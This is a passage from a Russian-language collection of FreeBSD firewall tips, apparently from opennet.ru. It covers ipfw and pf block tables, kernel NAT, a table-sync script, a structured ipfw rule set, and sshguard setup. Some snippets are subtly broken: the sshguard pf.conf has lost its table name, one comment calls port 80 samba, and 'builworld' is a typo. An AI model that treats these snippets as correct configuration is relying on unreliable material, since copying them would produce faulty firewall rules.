    нужно отредактировать файл /service/pen/run. Просто добавьте имена хостов в
    конец команды запуска pen и выполните:
    
       svc -t /service/pen
    
    Эта команда пошлет сигнал TERM и перезапустит pen. Хотя эта операция и не
    должна сказаться на доступности сервиса,
    лучше такие вещи делать в специально определенное время. 
    
    Ссылки:
    
     http://www.faqs.org/rfcs/rfc2338.html
     http://www.bsdshell.net/hut_fvrrpd.html
     http://siag.nu/pen/
     http://cr.yp.to/daemontools.html
     http://smarden.org/runit
    
    
    © 2004 David Thiel --- lx [@ at @] redundancy.redundancy.org
    
     
    ----* Использование таблиц для блокирования большого числа IP в pf или ipfw (доп. ссылка 1)   [комментарии]
     
    Список IP адресов или подсетей находится в файле /etc/block1.txt
    Например:
      10.10.1.1
      10.10.1.2
      192.168.0.0/16
    
    
    IPFW
    ----
    
    Блок чтения IP в таблицу, проверка в которой будет осуществляться 
    не через последовательный перебор правил, а через выборки из хэша:
     
       ipfw table 1 flush
       cat /etc/block1.txt | while read ip; do
          # echo ipfw table 1 add $ip 1
          ipfw table 1 add $ip 1
       done
    
    Привязка таблицы к правилу блокировки:
       ipfw add 100 deny ip from "table(1)" to any via em1
    
    Просмотр содержимого таблицы:
       ipfw table 1 list
    
    PF
    --
    
    /etc/pf.conf
    
       table <blockedips> persist file "/etc/block1.txt"
       ext_if="em1" 
       block drop in log (all) quick on $ext_if from <blockedips> to any
    
    Проверка корректности правил PF:
       pfctl -nf /etc/pf.conf
    
    Чтение правил PF:
       pfctl -f /etc/pf.conf
    
    Добавление и удаление адресов из таблицы на лету:
       pfctl -t blockedips -T add 192.168.1.1
       pfctl -t blockedips -T delete 192.168.1.1
    
    Просмотр содержимого таблицы и более подробной статистики по каждому адресу:
       pfctl -t blockedips -T show
       pfctl -t blockedips -T show -v
    
    Просмотр лога срабатываний блокировок, умолчанию сохраняемого в /var/log/pflog:
       tcpdump -n -e -ttt -r /var/log/pflog
       tcpdump -n -e -ttt -r /var/log/pflog port 80
       tcpdump -n -e -ttt -r /var/log/pflog and host 192.168.1.1
    
    Срабатывание блокировок в режиме реального времени:
       tcpdump -n -e -ttt -i pflog0
       tcpdump -n -e -ttt -i pflog0 port 80
       tcpdump -n -e -ttt -i pflog0 host 192.168.1.1
    
     
    ----* ipfw nat во FreeBSD 7   Автор: Pikador  [комментарии]
     
    В конфигурацию ядра добавляем:
    
       options         IPFIREWALL              #firewall
       options         IPFIREWALL_VERBOSE      #enable logging to syslogd(8)
       options         IPFIREWALL_DEFAULT_TO_ACCEPT    #allow everything by default
       options         IPDIVERT
       options         IPFIREWALL_FORWARD
       options         DUMMYNET
       options         IPFIREWALL_NAT          #ipfw kernel nat support
       options         LIBALIAS
    
    в /etc/make.conf:
    
       CFLAGS+= -DIPFIREWALL_NAT
    
    Далее пересобираем систему:
    
       cd /usr/src/ ; make builworld && make kernel KERNCONF=YourKern &&  make installworld
       reboot
    
    В конфигурационном файле ipfw:
    
       NatIP="111.111.111.111"
       ipfw nat 123 config ip ${NatIP} log
       ipfw add 10 nat 123 ip from 192.168.0.0/16 to any
       ipfw add 20 nat 123 ip from any to ${NatIP}
    
    Наслаждаемся достоинствами kernel nat
    
     
    ----* Автоматическая синхронизация таблиц ipfw   Автор: freeseacher  [комментарии]
     
    Вот таким скриптом можно периодически синхронизировать на всех сереверах таблицы ipfw
    
    #!/bin/sh 
    
    #CHANGE ME
    prefix="/etc/tables"
    host="10.0.0.2"
    user="table"
    
    #standart variables
    rsync="/usr/local/bin/rsync"
    agg="/usr/local/bin/aggregate -t -q"
    ipfw="/usr/local/bin/sudo /sbin/ipfw"
    
    
    ${rsync} -q --rsh=ssh --rsync-path=${rsync} -d ${user}@${host}:${prefix}'/*' ${prefix} 
    
    
    TOPROCESS=`find ${prefix}/ -type f ! -name '*.agg' -name 'table*'` 
    for i in $TOPROCESS; do
            cat $i|awk '{if (! match($1,"/")) print $1"/32"; else print $1}' |$agg >$i.agg
            t_num=`/usr/bin/basename $i |awk -F "table" '{print $2}'`
    
            # Таблица реально существующих клиентов
            for SUBNET in `\
                    ${ipfw} table ${t_num} list | /usr/bin/cut -f 1 -d " " | /usr/bin/diff $i.agg - | \
                    /usr/bin/grep -v [a-z] | /usr/bin/grep ">" | /usr/bin/cut -f 2 -d " " ` ; do
                    ${ipfw} -q table ${t_num} delete $SUBNET &
                    /usr/bin/logger -p local4.info "ip $SUBNET blocked as no customer" &
            done && \
    
            for SUBNET in `\
                    ${ipfw} table ${t_num} list | /usr/bin/cut -f 1 -d " " | /usr/bin/diff $i.agg - | \
                    /usr/bin/grep -v [a-z] | /usr/bin/grep "<" | /usr/bin/cut -f 2 -d " " ` ; do
                    ${ipfw} -q table ${t_num} add $SUBNET &
                    /usr/bin/logger -p local4.info "ip $SUBNET added as customer ip" &
            done
    done
    
    на выделенном серевере (например биллинге) в /etc/tables складывать файлики table100 table2 
    после прописывания везде одинаковых пользователей и разброса 
    ключей, получаем эллегантное решение по синхронизации таблиц
    
    PS: рабочая часть взята из http://www.opennet.ru/openforum/vsluhforumID3/32321.html#3
    
     
    ----* Пример использования таблиц блокировки в ipfw   [комментарии]
     
    Блокировка производится командой:
    
       ipfw add deny ip from "table(1)" to any via em0 
    
    /etc/load_table.sh:
    
       #!/bin/sh
       ipfw table 1 flush
       cat /etc/block.txt | while read cnt ip; do
           ipfw table 1 add $ip
       done 
    
    формат /etc/block.txt: "cnt ip"
    получем, например, из tcpdump лога атаки:
    
       tcpdump -n -i em0 udp and port 80 > ./tcpdump.log
       cat ./tcpdump.log |cut -d' ' -f3|cut -d'.' -f1,2,3,4|sort|uniq -c |sort -r -n > /etc/block.txt
    
     
    ----* Пример структурирования правил ipfw (доп. ссылка 1)   Автор: Vadim Guchenko  [комментарии]
     
    Пример структурирования правил фильтра пакетов ipfw во FreeBSD 
    с целью упрощения их восприятия и уменьшения  вероятности допущения ошибок.
    
    Исторически так сложилось, что правила файрвола в rc.firewall написаны в плохом
    и труднопонимаемом стиле:
    входящие и исходящие пакеты проходят один и тот же набор правил. 
    Многие используют этот скрипт как образец для написания собственного набора правил и
    наступают на одни и те же грабли. Как минимум, с натом. На самом деле ipfw очень удобен, 
    если писать список правил как некую программу - с разбиением на мелкие подпрограммы (блоки) 
    и добавлением комментариев. При этом надо руководствоваться рядом
    соглашений:
    
    
    1. Весь трафик первым делом делится на входящий и исходящий. 
    Каждый вид трафика обрабатывается в отдельном блоке. 
    В качестве еще одного блока можно выделить трафик через интерфейс lo0. 
    Слова in и out после первоначального разделения трафика не
    используются.
    
    
    2. Входящий трафик делится на а) трафик, адресованный данному серверу; 
    б) броадкасты; в) мультикасты; г) трафик, идущий транзитом. Каждый из видов трафика 
    обрабатывается в отдельном блоке. Слово me после разделения трафика не используется.
    
    
    3. Ветвление на блоки происходит по ip-адресам. Имена интерфейсов используются по возможности 
    как можно реже и только тогда, когда без них не обойтись. В частности, при написании 
    правил антиспуфинга. При использовании имен интерфейсов крайне не
    рекомендуется 
    использовать слово via. В зависимости от блока (входящий или исходящий трафик) рекомендуется 
    использовать слова xmit или recv. Это повышает читабельность.
    
    
    4. Все строки с правилами нумеруются (там где это допустимо). 
    Нумерация строго возрастающая. Рекомендуемый шаг между соседними номерами 100.
    
    
    5. Блок занимает строго фиксированный диапазон номеров строк ipfw. 
    Номер строки, с которой начинается блок, указывается в комментарии в начале этого блока. 
    Переход на блок происходит только на его начало. Переход в середину блока недопустим.
    
    
    6. Блок всегда заканчивается строкой allow ip from any to any или deny ip from any to any. 
    Исключение составляет ситуация, когда один блок должен выполняться следом за другим. 
    Даже если блок пустой (например, броадкасты или мультикасты не используются),
    все равно лучше поместить в него это единственное правило, чем удалять блок целиком. 
    Возможно в будущем туда что-нибудь допишется.
    
    
    
    Пример я как-то уже приводил несколько лет назад. 
    Приведу еще раз для трех разных серверов. Макросы, начинающиеся с %, заменятся
    на блоки ip-адресов.
    На всех серверах дефолтное 65535 правило: allow ip from any to any.
    
    Правила на центральном роутере/шлюзе в инет:
    
    
    #!/bin/sh -e
    
    fwcmd="echo"
    
    # Интерфейсы, подключенные к Интернету
    xmit_iface_inet="{ xmit fxp1 or xmit fxp2 }"
    recv_iface_inet="{ recv fxp1 or recv fxp2 }"
    
    # Ограничение количества ping-пакетов, уходящих на аплинка
    $fwcmd pipe 10 config bw 5Kbit/s
    
    ######################################################################
    ## Разделение трафика в зависимости от направления (нумерация с 100)
    ######################################################################
    # Трафик через интерфейс lo0
    $fwcmd add 100 allow ip from any to any via lo0
    
    # Исходящий трафик
    $fwcmd add 200 skipto 30000 ip from any to any out
    
    ######################################################################
    ## Входящий трафик (нумерация с 500)
    ######################################################################
    
    # Съем трафика для статистики
    $fwcmd add 500 divert 18000 ip from any to any $recv_iface_inet
    
    # NAT-трансляция входящих пакетов
    $fwcmd add 700 divert 8668 ip from any to %ip.nat $recv_iface_inet
    
    ##-----------------------------------------------------------------------------
    ## Антиспуфинг (нумерация с 1000)
    ##-----------------------------------------------------------------------------
    
    # Интерфейсы Интернета
    $fwcmd add 1000 deny log ip from %global.internal to any $recv_iface_inet
    
    ##-----------------------------------------------------------------------------
    ## Разделение трафика в зависимости от получателя пакета (нумерация с 5000)
    ##-----------------------------------------------------------------------------
    
    # Трафик, адресованный серверу
    $fwcmd add 5000 skipto 10000 ip from any to me
    
    # Броадкасты
    $fwcmd add 5100 skipto 20000 ip from any to 255.255.255.255
    
    # Мультикасты
    $fwcmd add 5200 skipto 25000 ip from any to 224.0.0.0/4
    
    ##-----------------------------------------------------------------------------
    ## Трафик, идущий транзитом (нумерация с 6000)
    ##-----------------------------------------------------------------------------
    
    # Запрещаем трафик на закрытые адреса магистрали
    $fwcmd add 6000 deny log ip from any to %global.backbone.private
    
    # Разрешаем остальной трафик
    $fwcmd add 6300 allow ip from any to any
    
    ##-----------------------------------------------------------------------------
    ## Трафик, адресованный серверу (нумерация с 10000)
    ##-----------------------------------------------------------------------------
    
    # Разрешаем установленные TCP-соединения
    $fwcmd add 10000 allow tcp from any to any established
    
    # Разрешаем фрагменты IP-пакетов
    $fwcmd add 10100 allow ip from any to any frag
    
    # Разрешаем пакеты, удовлетворяющие динамическим правилам
    $fwcmd add 10200 check-state
    
    # Разрешаем OSPF-пакеты
    $fwcmd add 10300 allow ospf from %global.backbone to any
    
    # Разрешаем GRE-пакеты
    $fwcmd add 10400 allow gre from any to any
    
    ##-----------------------------------------------------------------------------
    ## Службы сервера (нумерация с 12000)
    ##-----------------------------------------------------------------------------
    
    # SSH
    $fwcmd add 12000 deny tcp from %deny.ssh to %ip.ssh 22
    $fwcmd add 12100 allow tcp from %allow.ssh to %ip.ssh 22
    
    # BGP
    $fwcmd add 12200 deny tcp from %deny.bgp to %ip.bgp 179
    $fwcmd add 12300 allow tcp from %allow.bgp to %ip.bgp 179
    
    # SNMP
    $fwcmd add 12400 allow udp from %allow.snmp to %ip.snmp 161,1161
    
    ##-----------------------------------------------------------------------------
    ## Завершающие правила для трафика, адресованного серверу (нумерация с 18000)
    ##-----------------------------------------------------------------------------
    
    # Разрешаем ICMP-пакеты
    $fwcmd add 18000 allow icmp from any to any
    
    # Разрешаем работу traceroute
    $fwcmd add 18100 unreach port udp from any to any 33434-33584
    
    # Запрещаем соединения на 113 порт (ident)
    $fwcmd add 18200 reset tcp from any to any 113
    
    # Запрещаем соединения на 1080 порт (socks check)
    $fwcmd add 18300 reset tcp from any to any 1080
    
    # Запрещаем остальной трафик
    $fwcmd add 18400 deny log ip from any to any
    
    ##-----------------------------------------------------------------------------
    ## Броадкасты (нумерация с 20000)
    ##-----------------------------------------------------------------------------
    
    # Разрешаем SNMP trap'ы от ИБП
    $fwcmd add 20000 allow udp from %global.backbone to any 162
    
    # Разрешаем NTP-пакеты
    $fwcmd add 20100 allow udp from %global.backbone to %global.backbone.broadcast 123
    
    # Запрещаем остальной трафик
    $fwcmd add 20200 deny log ip from any to any
    
    ##-----------------------------------------------------------------------------
    ## Мультикасты (нумерация с 25000)
    ##-----------------------------------------------------------------------------
    
    # Разрешаем OSPF-пакеты
    $fwcmd add 25000 allow ospf from %global.backbone to 224.0.0.0/24{5,6}
    
    # Разрешаем общие IGMP и DVMRP-пакеты
    $fwcmd add 25100 allow igmp from %global.backbone to 224.0.0.0/24{1,2,4}
    $fwcmd add 25200 allow igmp from %ip.link.iskranet-gw to 224.0.0.0/24{1,2}
    
    # Разрешаем трафик TVoIP
    $fwcmd add 25300 allow ip from %ip.ext.tvoip to 224.2.153.173
    
    # Запрещаем остальной трафик
    $fwcmd add 25400 deny log ip from any to any
    
    ######################################################################
    ## Исходящий трафик (нумерация с 30000)
    ######################################################################
    # Запрещаем отправку пакетов, предназначенных для внутрисетевых адресов,
    # на шлюз по умолчанию
    $fwcmd add 30000 deny ip from any to %global.internal $xmit_iface_inet
    
    # Запрещаем отправку в Интернет пакетов Netbios
    $fwcmd add 30100 deny tcp from any to any 135,139,445 $xmit_iface_inet
    
    # Запрещаем отправку пакетов в Интернет для клиентов, которые отключены
    # от Интернета
    $fwcmd add 30200 skipto 30350 ip from %allow.internet to any $xmit_iface_inet
    $fwcmd add 30300 deny ip from any to any $xmit_iface_inet
    
    # Шейпинг ping-пакетов
    $fwcmd add 30350 skipto 30400 icmp from %group.ping-shaping to any icmptypes 8 $xmit_iface_inet
    $fwcmd add 30351 pipe 10 icmp from any to any icmptypes 8 $xmit_iface_inet
    
    # Съем трафика для статистики
    $fwcmd add 30400 divert 18001 ip from any to any $xmit_iface_inet
    
    # NAT-трансляция исходящих пакетов
    $fwcmd add 30800 divert 8668 ip from 192.168.0.0/16 to any $xmit_iface_inet
    #$fwcmd add 30900 allow ip from %ip.nat to any $xmit_iface_inet
    
    # Направляем пакеты в нужные интерфейсы аплинков в зависимости от их src-адреса
    $fwcmd add 31000 fwd %ip.link.krastelecom-gw ip from %ip.link.krastelecom to any $xmit_iface_inet
    $fwcmd add 31100 fwd %ip.link.iskranet-gw ip from %ip.link.iskranet to any $xmit_iface_inet
    
    # Динамическое правило для доступа с данного сервера к внешним службам по UDP
    $fwcmd add 31200 allow udp from me to any keep-state
    
    ##-----------------------------------------------------------------------------
    ## Аккаунтинг трафика (нумерация с 40000)
    ##-----------------------------------------------------------------------------
    
    # Трафик Интернета
    $fwcmd add 40000 skipto 40200 ip from %global.internal to %group.accounting
    $fwcmd add 40100 divert 17000 ip from any to %group.accounting
    
    ######################################################################
    
    
    
    
    Правила на сервере доступа:
    
    
    #!/bin/sh -e
    
    fwcmd="echo"
    
    # Интерфейс, подключенный к клиентскому сегменту
    iface_clients=fxp0
    
    # Интерфейсы VPN
    iface_vpns=ng*
    
    ######################################################################
    ## Разделение трафика в зависимости от направления (нумерация с 100)
    ######################################################################
    # Трафик через интерфейс lo0
    $fwcmd add 100 allow ip from any to any via lo0
    
    # Исходящий трафик
    $fwcmd add 200 skipto 30000 ip from any to any out
    
    ######################################################################
    ## Входящий трафик (нумерация с 500)
    ######################################################################
    # Открываем доступ к DHCP-серверу с незарегистрированных адресов, запрещаем
    # с них любой другой трафик
    $fwcmd add 500 allow udp from %clients.unreg to %srv.dhcp 67
    $fwcmd add 600 allow udp from %clients.unreg to 255.255.255.255 67
    $fwcmd add 700 deny ip from %clients.unreg to any
    
    ##-----------------------------------------------------------------------------
    ## Антиспуфинг (нумерация с 1000)
    ##-----------------------------------------------------------------------------
    
    # Интерфейс клиентов
    $fwcmd add 1000 skipto 5000 ip from 0.0.0.0 to any recv $iface_clients
    $fwcmd add 1100 skipto 5000 ip from %clients to any recv $iface_clients
    $fwcmd add 1200 deny log ip from any to any recv $iface_clients
    
    # Интерфейсы VPN
    $fwcmd add 1300 skipto 5000 ip from %clients to any recv $iface_vpns
    $fwcmd add 1400 skipto 5000 ip from any to any verrevpath recv $iface_vpns
    $fwcmd add 1500 deny log ip from any to any recv $iface_vpns
    
    ##-----------------------------------------------------------------------------
    ## Разделение трафика в зависимости от получателя пакета (нумерация с 5000)
    ##-----------------------------------------------------------------------------
    
    # Трафик, адресованный серверу
    $fwcmd add 5000 skipto 10000 ip from any to me
    
    # Броадкасты
    $fwcmd add 5100 skipto 20000 ip from any to 255.255.255.255
    $fwcmd add 5200 skipto 20000 ip from any to %global.backbone.broadcast
    $fwcmd add 5300 skipto 20000 ip from any to %clients.broadcast
    
    # Мультикасты
    $fwcmd add 5400 skipto 25000 ip from any to 224.0.0.0/4
    
    ##-----------------------------------------------------------------------------
    ## Трафик, идущий транзитом (нумерация с 6000)
    ##-----------------------------------------------------------------------------
    
    # Запрещаем трафик на закрытые адреса магистрали
    $fwcmd add 6000 deny log ip from any to %global.backbone.private
    
    # Разрешаем любой трафик, идущий c VPN-адресов клиентов, которым открыт доступ
    # к услугам сети, и обратно
    $fwcmd add 6100 allow ip from %access.allow to any
    $fwcmd add 6200 allow ip from any to %access.allow
    
    # Разрешаем трафик, идущий от клиентов на DNS-резолвер и обратно
    $fwcmd add 6300 allow ip from any to %global.srv.resolver
    $fwcmd add 6400 allow ip from %global.srv.resolver to any
    
    # Разрешаем трафик, идущий от клиентов на веб-сервер сети и обратно
    $fwcmd add 6500 allow ip from any to %global.srv.http
    $fwcmd add 6600 allow ip from %global.srv.http to any
    
    # Разрешаем эхо-запросы, идущие на локальные адреса клиентов, и эхо-ответы
    # c этих адресов
    $fwcmd add 6700 allow icmp from any to %clients icmptypes 8
    $fwcmd add 6800 allow icmp from %clients to any icmptypes 0
    
    # Запрещаем остальной трафик
    $fwcmd add 6900 deny log ip from any to any
    
    ##-----------------------------------------------------------------------------
    ## Трафик, адресованный серверу (нумерация с 10000)
    ##-----------------------------------------------------------------------------
    
    # Разрешаем установленные TCP-соединения
    $fwcmd add 10000 allow tcp from any to any established
    
    # Разрешаем фрагменты IP-пакетов
    $fwcmd add 10100 allow ip from any to any frag
    
    # Разрешаем пакеты, удовлетворяющие динамическим правилам
    $fwcmd add 10200 check-state
    
    # Разрешаем OSPF-пакеты
    $fwcmd add 10300 allow ospf from %global.backbone to any
    
    # Разрешаем GRE-пакеты
    $fwcmd add 10400 allow gre from any to any
    
    ##-----------------------------------------------------------------------------
    ## Службы сервера (нумерация с 12000)
    ##-----------------------------------------------------------------------------
    
    # SSH
    $fwcmd add 12000 allow tcp from %srv.ssh.allow to %srv.ssh 22
    
    # DHCP
    $fwcmd add 12100 allow udp from %srv.dhcp.allow to %srv.dhcp 67
    
    # PPTP
    $fwcmd add 12200 allow tcp from %srv.pptp.allow to %srv.pptp 1723
    
    # SNMP
    $fwcmd add 12300 allow udp from %srv.snmp.allow to %srv.snmp 161,1161
    
    ##-----------------------------------------------------------------------------
    ## Завершающие правила для трафика, адресованного серверу (нумерация с 18000)
    ##-----------------------------------------------------------------------------
    
    # Разрешаем ICMP-пакеты
    $fwcmd add 18000 allow icmp from any to any
    
    # Разрешаем работу traceroute
    $fwcmd add 18100 unreach port udp from any to any 33434-33584
    
    # Запрещаем соединения на 80 порт (samba)
    $fwcmd add 18200 reset tcp from any to any 80
    
    # Запрещаем соединения на 113 порт (ident)
    $fwcmd add 18300 reset tcp from any to any 113
    
    # Запрещаем соединения на 1080 порт (socks check)
    $fwcmd add 18400 reset tcp from any to any 1080
    
    # Запрещаем остальной трафик
    $fwcmd add 18500 deny log ip from any to any
    
    ##-----------------------------------------------------------------------------
    ## Броадкасты (нумерация с 20000)
    ##-----------------------------------------------------------------------------
    
    # Разрешаем SNMP trap'ы от ИБП
    $fwcmd add 20000 allow udp from %global.backbone to any 162
    
    # Разрешаем NTP-пакеты
    $fwcmd add 20100 allow udp from %global.backbone to %global.backbone.broadcast 123
    
    # Разрешаем поиск DHCP-сервера
    $fwcmd add 20200 allow udp from %srv.dhcp.allow to any 67
    
    # Запрещаем остальной трафик
    $fwcmd add 20300 deny log ip from any to any
    
    ##-----------------------------------------------------------------------------
    ## Мультикасты (нумерация с 25000)
    ##-----------------------------------------------------------------------------
    
    # Разрешаем OSPF-пакеты
    $fwcmd add 25000 allow ospf from %global.backbone to 224.0.0.0/24{5,6}
    
    # Разрешаем общие IGMP и DVMRP-пакеты
    $fwcmd add 25100 allow igmp from %global.backbone to 224.0.0.0/24{1,2,4}
    $fwcmd add 25200 allow igmp from %clients to 224.0.0.0/24{1,2}
    
    # Разрешаем подписку на группы TVoIP
    $fwcmd add 25300 allow igmp from %clients to %global.srv.tvoip.groups
    
    # Разрешаем трафик TVoIP
    $fwcmd add 25400 allow ip from %global.srv.tvoip to %global.srv.tvoip.groups
    
    # Запрещаем остальной трафик
    $fwcmd add 25500 deny log ip from any to any
    
    ######################################################################
    ## Исходящий трафик (нумерация с 30000)
    ######################################################################
    # Динамическое правило для доступа с данного сервера к внешним службам по UDP
    $fwcmd add 30000 allow udp from me to any keep-state
    
    ######################################################################
    
    
    
    
    
    Правила на сервере служб:
    
    
    #!/bin/sh -e
    
    fwcmd="echo"
    
    ######################################################################
    ## Разделение трафика в зависимости от направления (нумерация с 100)
    ######################################################################
    # Трафик через интерфейс lo0
    $fwcmd add 100 allow ip from any to any via lo0
    
    # Исходящий трафик
    $fwcmd add 200 skipto 30000 ip from any to any out
    
    ######################################################################
    ## Входящий трафик (нумерация с 1000)
    ######################################################################
    ##-----------------------------------------------------------------------------
    ## Разделение трафика в зависимости от получателя пакета (нумерация с 5000)
    ##-----------------------------------------------------------------------------
    
    # Трафик, адресованный серверу
    $fwcmd add 5000 skipto 10000 ip from any to me
    
    # Броадкасты
    $fwcmd add 5100 skipto 20000 ip from any to 255.255.255.255
    $fwcmd add 5150 skipto 20000 ip from any to %group.backbone_broadcast
    
    # Мультикасты
    $fwcmd add 5200 skipto 25000 ip from any to 224.0.0.0/4
    
    ##-----------------------------------------------------------------------------
    ## Трафик, идущий транзитом (нумерация с 6000)
    ##-----------------------------------------------------------------------------
    
    # Запрещаем весь трафик
    $fwcmd add 6000 deny log ip from any to any
    
    ##-----------------------------------------------------------------------------
    ## Трафик, адресованный серверу (нумерация с 10000)
    ##-----------------------------------------------------------------------------
    
    # Преобразовываем запросы к DNS-резолверу
    $fwcmd add 10000 divert 8669 ip from %allow.resolver_internet to %ip.resolver
    
    # Разрешаем установленные TCP-соединения
    $fwcmd add 10100 allow tcp from any to any established
    
    # Разрешаем фрагменты IP-пакетов
    $fwcmd add 10200 allow ip from any to any frag
    
    # Разрешаем пакеты, удовлетворяющие динамическим правилам
    $fwcmd add 10300 check-state
    
    # Разрешаем OSPF-пакеты
    $fwcmd add 10400 allow ospf from %group.backbone to any
    
    ##-----------------------------------------------------------------------------
    ## Службы сервера (нумерация с 12000)
    ##-----------------------------------------------------------------------------
    
    # SSH
    $fwcmd add 12000 deny tcp from %deny.ssh to %ip.ssh 22
    $fwcmd add 12100 allow tcp from %allow.ssh to %ip.ssh 22
    
    # DNS-резолвер
    $fwcmd add 12200 deny { tcp or udp } from %deny.resolver to %ip.resolver 53
    $fwcmd add 12300 allow { tcp or udp } from %allow.resolver to %ip.resolver 53
    
    # DNS-сервер
    $fwcmd add 12400 deny { tcp or udp } from %deny.dns to %ip.dns 53
    $fwcmd add 12500 allow { tcp or udp } from %allow.dns to %ip.dns 53
    
    # DNS-кэш
    $fwcmd add 12600 deny { tcp or udp } from %deny.dnscache to %ip.dnscache 53
    $fwcmd add 12700 allow { tcp or udp } from %allow.dnscache to %ip.dnscache 53
    
    # NTP-сервер
    $fwcmd add 12800 deny udp from %deny.ntp to %ip.ntp 123
    $fwcmd add 12900 allow udp from %allow.ntp to %ip.ntp 123
    
    # IRC
    $fwcmd add 13000 deny tcp from %deny.irc to %ip.irc 6667-6669
    $fwcmd add 13100 allow tcp from %allow.irc to %ip.irc 6667-6669
    $fwcmd add 13200 deny icmp from any to %ip.irc icmptypes 8
    
    # HTTP
    $fwcmd add 13700 deny tcp from %deny.http to %ip.http 80,443
    $fwcmd add 13800 allow tcp from %allow.http to %ip.http 80,443
    
    # SMTP
    $fwcmd add 13900 deny tcp from %deny.smtp to %ip.smtp 25
    $fwcmd add 14000 allow tcp from %allow.smtp to %ip.smtp 25
    $fwcmd add 14100 deny tcp from %group.internal to %ip.smtp 25
    $fwcmd add 14200 allow tcp from any to %ip.smtp 25
    
    # POP
    $fwcmd add 14300 deny tcp from %deny.pop to %ip.pop 110
    $fwcmd add 14400 allow tcp from %allow.pop to %ip.pop 110
    
    # SNMP
    $fwcmd add 14500 allow udp from %allow.snmp to %ip.snmp 161,1161
    
    ##-----------------------------------------------------------------------------
    ## Завершающие правила для трафика, адресованного серверу (нумерация с 18000)
    ##-----------------------------------------------------------------------------
    
    # Разрешаем ICMP-пакеты
    $fwcmd add 18000 allow icmp from any to any
    
    # Разрешаем работу traceroute
    $fwcmd add 18100 unreach port udp from any to any 33434-33584
    
    # Запрещаем соединения на 113 порт (ident)
    $fwcmd add 18200 reset tcp from any to any 113
    
    # Запрещаем соединения на 1080 порт (socks check)
    $fwcmd add 18300 reset tcp from any to any 1080
    
    # Запрещаем остальной трафик
    $fwcmd add 18400 deny log ip from any to any
    
    ##-----------------------------------------------------------------------------
    ## Броадкасты (нумерация с 20000)
    ##-----------------------------------------------------------------------------
    
    # Разрешаем SNMP trap'ы от ИБП
    $fwcmd add 20000 allow udp from %group.backbone to any 162
    
    # Запрещаем остальной трафик
    $fwcmd add 20100 deny log ip from any to any
    
    ##-----------------------------------------------------------------------------
    ## Мультикасты (нумерация с 25000)
    ##-----------------------------------------------------------------------------
    
    # Разрешаем OSPF-пакеты
    $fwcmd add 25000 allow ospf from %group.backbone to 224.0.0.0/24{5,6}
    
    # Запрещаем остальной трафик
    $fwcmd add 25100 deny log ip from any to any
    
    ######################################################################
    ## Исходящий трафик (нумерация с 30000)
    ######################################################################
    # Преобразовываем ответы DNS-резолвера
    $fwcmd add 30000 divert 8669 ip from %ip.dnscache to %allow.resolver_internet
    
    # Динамическое правило для доступа с данного сервера к внешним службам по UDP
    $fwcmd add 30100 allow udp from me to any keep-state
    
    ##-----------------------------------------------------------------------------
    ## Аккаунтинг трафика (нумерация с 40000)
    ##-----------------------------------------------------------------------------
    
    # Трафик почтового сервера (POP)
    $fwcmd add 40000 divert 17000 tcp from %ip.pop to %group.accounting 
    
     
    ----* Порядок прохождения пакетов в пакетных фильтрах FreeBSD (доп. ссылка 1)   Автор: butcher  [комментарии]
     
    Порядок прохождения пакетов при одновременном использовании  ipfilter, pf и ipfw:
    При загрузке фильтров модулями, порядок будет определяться порядком загрузки модулей. 
    Причина здесь в том, что пакетные фильтры регистрируют себя в pfil(9).
    
    При включении всех фильтров в ядро порядок будет определять SYSINIT.
    Чтобы определить порядок, нужно открыть файл sys/kernel.h. 
    В нём определён порядок инициализации определённых подсистем. Теперь, простейшее:
    
    # grep DECLARE_MODULE netinet/ip_fw_pfil.c
    DECLARE_MODULE(ipfw, ipfwmod, SI_SUB_PROTO_IFATTACHDOMAIN, SI_ORDER_ANY);
    # grep DECLARE_MODULE contrib/pf/net/pf_ioctl.c
    DECLARE_MODULE(pf, pf_mod, SI_SUB_PROTO_IFATTACHDOMAIN, SI_ORDER_FIRST);
    # grep DECLARE_MODULE contrib/ipfilter/netinet/mlfk_ipl.c
    DECLARE_MODULE(ipfilter, ipfiltermod, SI_SUB_PROTO_DOMAIN, SI_ORDER_ANY);
    
    От сюда следует: первым будет ipfilter, затем pf, затем ipfw.
    
     
    ----* Автоблокирование атак по подбору паролей (brute force) в SSH под FreeBSD (доп. ссылка 1)   Автор: Roman Y. Bogdanov  [комментарии]
     
    Устанавливаем sshguard из портов:
    
       cd /usr/ports/security/sshguard
       make install clean WITH_PF=yes
    
    Настраиваем перенаправление логов в sshguard
    
       echo "auth.info;authpriv.info |exec /usr/local/sbin/sshguard" >> /etc/syslog.conf
    
    Правила блокировки по таблице, /etc/pf.conf
    
       internet="vlan50"
       table persist
       block in quick on $internet from label "ssh bruteforce"
    
    Перечитываем измененные файлы конфигурации PF и syslogd:
    
       pfctl -f /etc/pf.conf
       /etc/rc.d/syslogd restart
    
    Тестируем попробовав подобрать пароли:
       shguard[1048576]: Started successfully [(a,p,s)=(4, 420, 1200)], now ready to scan.
    
       sshd[1048577]: Invalid user administrador from 21.138.24.51
       sshd[1048579]: Invalid user publica from 21.138.24.51
       sshd[1048580]: Invalid user rbecerril from 21.138.24.51
       sshd[1048581]: Invalid user rvences from 21.138.24.51
    
       sshguard[1048582]: Blocking 21.138.24.51: 4 failures over 15 seconds.
       shguard[1048583]: Releasing 21.138.24.51 after 490 seconds.
    
     
    ----* Расчет размера очереди для pipe с заданной пропускной способностью (доп. ссылка 1)   [комментарии]
     
    > Работает шейпер на dummynet, наблюдается некотороая потеря
    > траффика. Hавскидку проблема в дефолтных значениях размера очереди (50 пакетов)
    > для pipe'ов от 32 до 512 Кбит\с. Скорее всего, поток не влезает в очередь и
    > часть пакетов отбрасывается. Как правильно рассчитать размер очереди для
    > каждого pipe в отдельности? 
    
    Eugene Grosbein:
    
    Pipe и должен отбрасывать пакеты, иначе какой же это шейпер?
    Ты не можешь увеличивать длину очереди бесконечно, потому что задержки
    вырастут настолько, что соединение начнет рвать сам юзер :-)
    
    Hа таких низких скоростях размер очереди надо бы, наоборот, уменьшать,
    чтобы не допустить гигантских задержек типа нескольких тысяч милисекунд.
    
    А если хочешь и рыбку съесть, и потерь иметь минимум, то читай-ка ты
    про RED/GRED на unixfaq.ru и делай не просто pipe, а queue/pipe с gred.
    Рекомендую делать w_q=0.002, max_p=0.1, min=q/10, max=3*min,
    где q - длина очереди, q=20 для скоростей меньше 100Kbit/s,
    q=30 для скоростей от 100 до 300Kbit/s и q=50 для скоростей 512Kbit/s и выше.
    
    ----------
    Sergey A Yakovets:
    
    Пол-дня игрался с параметром queue. В итоге подобрал на первый взгляд
    кое-что подходящее. Алгоритм\мысли были следующие:
    
